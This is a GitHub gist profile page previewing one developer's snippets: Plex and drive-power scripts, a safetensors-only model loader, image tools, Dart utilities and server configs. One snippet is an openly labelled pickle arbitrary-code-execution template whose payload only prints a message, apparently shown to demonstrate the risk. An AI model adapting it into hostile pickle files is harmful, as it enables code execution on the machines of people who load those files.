Skip to content

Instantly share code, notes, and snippets.

View CodeZombie's full-sized avatar
🌵

Jeremy Clark CodeZombie

🌵
View GitHub Profile
@CodeZombie
CodeZombie / plexpowerd.rb
Created April 22, 2023 19:08
plexpowerd.rb
#Plexhometheater closes itself after 30 minutes of inactivty
#This script checks to see if plexhometheater is off, and if it is,
#checks for any major network traffic (to indicate movie stream, or file xfer)
#if no network activity is detected, the computer shuts down.
#if network activity IS detected, plexhometheater is started again
def plexIsRunning()
command = `ps -ef|grep -v grep|grep /opt/plexhometheater/bin/plexhometheater`
if command == "" then
return false
end
@CodeZombie
CodeZombie / ugh.md
Last active April 4, 2023 06:27
Seagate Ironwolf Sucks

The Seagate Ironwolf is insane. It spins up and down like 5 times a minute by default. Insane behavior, and it results in a massive Load_Cycle_Count which theoeretically will result in the premature death of the drive.

find the disk in question with sudo fdisk -l

You can check the Load_Cycle_Count with sudo smartctl -a /dev/sdc

wow, look at that load cycle count. Not good! The max the drives are designed for is 600,000, and if you do the math from the Power_On_Hours you can calculate how much life your new drive has. And it's proably not much~

Let's check the current APM setting: sudo hdparm -B /dev/sdc

@CodeZombie
CodeZombie / safe.py
Last active March 27, 2023 03:26
a drop-in replacement for Automatic1111's `safe.py` which as it turns out, is not safe at all :)
# An actual safe model loader.
# I consider this file to actually be safe because it physically cannot load pickle file.
# If you try to load a pickle file, it will instead look for a safetensors file with the same name and try to load that.
# If it does find a suitable Safetensors alternative, it will load it in such a way that makes it compatible with all pickle-related code (params_ema/params checking)
# This code was written by Jeremy C (badnoise.net)
import safetensors.torch
import torch
@CodeZombie
CodeZombie / convert.py
Created March 20, 2023 02:21
convert stable diffusion .png images to .jpeg while retaining metadata
from PIL import Image
from PIL.ExifTags import TAGS
import os
SOURCE_DIR = r'C:\Users\jerem\ai\stable-diffusion-webui_working\outputs'
DESTINATION_DIR = r'C:\Users\jerem\ai\converted2'
def find_png_files(directory):
"""Returns a list of full filenames for all .png files in a directory, including subdirectories."""
png_files = []
@CodeZombie
CodeZombie / malicious_pickle_maker.py
Created March 13, 2023 20:42
Malicious pickle creation template
import pickle
PAYLOAD_MESSAGE = "You just got owned by Arbitrary Code Execution inside a Pickle file."
#A class that when unpickled, will execute the code embedded in the __reduce__ method's return value
class PickleACE(object):
def __reduce__(self):
return (print,(PAYLOAD_MESSAGE,))
# Save the pickle data to a file
@CodeZombie
CodeZombie / batch_autolabel.py
Created February 1, 2023 03:49
a batch label generator for AI Images, useful for generating training data
import argparse
import glob
import sys
from PIL import Image
import os
def main():
"""
When given a directory, this script will create text files containing the positive prompts of each image (if the data exists in the png metadata),
and stores it as a .txt file with the same name next to the original image.
@CodeZombie
CodeZombie / ratelimiter_demo.dart
Created November 12, 2022 22:16
Dart Rate Limiter
class RateLimiter {
late int waitTimeMilliseconds = 2500;
DateTime lastActionTime = DateTime.now();
Future<Function> doAction(Function f) async {
while (true) {
if (DateTime.now().isAfter(lastActionTime.add(Duration(milliseconds: waitTimeMilliseconds)))) {
break;
} else {
await Future.delayed(const Duration(milliseconds: 100));
version: '2.0'
services:
db:
image: mariadb:10.5
container_name: seafile-mysql
environment:
- MYSQL_ROOT_PASSWORD=db_dev # Requested, set the root's password of MySQL service.
- MYSQL_LOG_CONSOLE=true
volumes:
- /mnt/twotera/seafile-mysql/db:/var/lib/mysql # Requested, specifies the path to MySQL data persistent store.
@CodeZombie
CodeZombie / _etc_dnsmasq.conf
Created September 12, 2022 01:49
DnsMasq & Nginx
port=53
domain-needed
bogus-priv
strict-order
address=/ham/127.0.0.1
interface=eno1
listen-address=127.0.0.1
expand-hosts
domain=box.ham
@CodeZombie
CodeZombie / main.dart
Last active January 16, 2022 22:58
Dart arbitrary caching middleware
var CacheDatabase = Map();
//An arbitrary function which returns a String
String sexNumberAsString() {
return "69";
}
//Another arbitrary function which takes in arguments and returns a different type.
int add(int a, int b) {